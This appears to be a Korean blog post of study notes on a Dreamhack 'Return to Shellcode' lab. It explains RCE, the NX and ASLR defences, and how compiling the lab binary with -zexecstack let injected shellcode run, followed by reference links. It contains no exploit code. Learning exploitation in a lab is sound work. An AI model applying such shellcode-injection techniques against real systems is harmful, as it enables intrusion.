RCE๋Š” ์„œ๋ฒ„๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•œ ๊ณต๊ฒฉ๋“ค ์ค‘, ๋งค์šฐ ํŒŒ๊ดด์ ์ธ ๊ณต๊ฒฉ์— ์†ํ•˜๋ฉฐ, ์ปดํ“จํ„ฐ ๊ณผํ•™์ž๋“ค์€ ์„œ๋ฒ„์—์„œ RCE์˜ ์œ„ํ—˜์„ ์ค„์ด๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ๊ณ ์•ˆํ–ˆ์Šต๋‹ˆ๋‹ค. ๋Œ€ํ‘œ์ ์œผ๋กœ ์ฝ”๋“œ ์„น์…˜ ์™ธ์˜ ๋ชจ๋“  ์„น์…˜์— ์‹คํ–‰ ๊ถŒํ•œ์„ ์—†์• ๋Š” NX(Not eXecutable)๊ฐ€ ์žˆ์œผ๋ฉฐ, ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ์ž„์˜์˜ ์ฃผ์†Œ์— ์Šคํƒ๊ณผ ํž™์„ ํ• ๋‹นํ•˜๋Š” ASLR(Address Space Layout Randomization)์ด ์žˆ์Šต๋‹ˆ๋‹ค.

 

r2s๋Š” ์ปดํŒŒ์ผํ•  ๋•Œ, gcc์— -zexecstack ์˜ต์…˜์„ ์ถ”๊ฐ€ํ•˜์—ฌ NX๋ฅผ ํ•ด์ œํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— buf์— ์ฃผ์ž…ํ•œ ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.


์ฐธ๊ณ  ์ž๋ฃŒ

 

Exploit Tech: Return to Shellcode

์ด๋ฒˆ ์ฝ”์Šค์—์„œ๋Š” ์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒํ•˜๊ณ , ์…ธ์ฝ”๋“œ๋กœ ์‹คํ–‰ ํ๋ฆ„์„ ์˜ฎ๊ธฐ๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io

๋”๋ณด๊ธฐ
 

What does [:-1] mean/do in python?

Working on a python assignment and was curious as to what [:-1] means in the context of the following code: instructions = f.readline()[:-1] Have searched on here on S.O. and on Google but to no a...

stackoverflow.com

 

์˜คํ”„์…‹ (์ปดํ“จํ„ฐ ๊ณผํ•™) - ์œ„ํ‚ค๋ฐฑ๊ณผ, ์šฐ๋ฆฌ ๋ชจ๋‘์˜ ๋ฐฑ๊ณผ์‚ฌ์ „

์ปดํ“จํ„ฐ ๊ณผํ•™์—์„œ ๋ฐฐ์—ด์ด๋‚˜ ์ž๋ฃŒ ๊ตฌ์กฐ ์˜ค๋ธŒ์ ํŠธ ๋‚ด์˜ ์˜คํ”„์…‹(offset)์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋™์ผ ์˜ค๋ธŒ์ ํŠธ ์•ˆ์—์„œ ์˜ค๋ธŒ์ ํŠธ ์ฒ˜์Œ๋ถ€ํ„ฐ ์ฃผ์–ด์ง„ ์š”์†Œ๋‚˜ ์ง€์ ๊นŒ์ง€์˜ ๋ณ€์œ„์ฐจ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ์ •์ˆ˜ํ˜•์ด๋‹ค. ์ด๋ฅผํ…Œ๋ฉด,

ko.wikipedia.org

 

์˜ค๋ฒ„ํ—ค๋“œ - ์œ„ํ‚ค๋ฐฑ๊ณผ, ์šฐ๋ฆฌ ๋ชจ๋‘์˜ ๋ฐฑ๊ณผ์‚ฌ์ „

์˜ค๋ฒ„ํ—ค๋“œ(overhead)๋Š” ์–ด๋–ค ์ฒ˜๋ฆฌ๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด ๋“ค์–ด๊ฐ€๋Š” ๊ฐ„์ ‘์ ์ธ ์ฒ˜๋ฆฌ ์‹œ๊ฐ„ · ๋ฉ”๋ชจ๋ฆฌ ๋“ฑ์„ ๋งํ•œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด A๋ผ๋Š” ์ฒ˜๋ฆฌ๋ฅผ ๋‹จ์ˆœํ•˜๊ฒŒ ์‹คํ–‰ํ•œ๋‹ค๋ฉด 10์ดˆ ๊ฑธ๋ฆฌ๋Š”๋ฐ, ์•ˆ์ „์„ฑ์„ ๊ณ ๋ คํ•˜๊ณ  ๋ถ€๊ฐ€์ ์ธ B๋ผ๋Š”

ko.wikipedia.org

 

๋น„์–ด์žˆ๋Š” ๊ณต๊ฐ„์˜ ํšจ์œจ?

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด buf[0x50]์˜ ๊ณต๊ฐ„์„ ์ฐจ์ง€ํ•˜์ง€๋งŒ canary(0x08)๋ฅผ ๋„ฃ๋Š”๋‹ค๋ฉด ์›๋ž˜๋Š” sub rsp, 0x58์ด์ง€๋งŒ stack alignment๋กœ ํšจ์œจ์„ ๋†’์ด๊ธฐ ์œ„ํ•ด 16์˜๋ฐฐ…

dreamhack.io

 

what is "stack alignment"?

What is stack alignment? Why is it used? Can it be controlled by compiler settings? The details of this question are taken from a problem faced when trying to use ffmpeg libraries with msvc, how...

stackoverflow.com

 

Why does the x86-64 / AMD64 System V ABI mandate a 16 byte stack alignment?

I've read in different places that it is done for "performance reasons", but I still wonder what are the particular cases where performance get improved by this 16-byte alignment. Or, in any case, ...

stackoverflow.com

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

Exploit Tech: Return to Shellcode

์ด๋ฒˆ ์ฝ”์Šค์—์„œ๋Š” ์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒํ•˜๊ณ , ์…ธ์ฝ”๋“œ๋กœ ์‹คํ–‰ ํ๋ฆ„์„ ์˜ฎ๊ธฐ๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io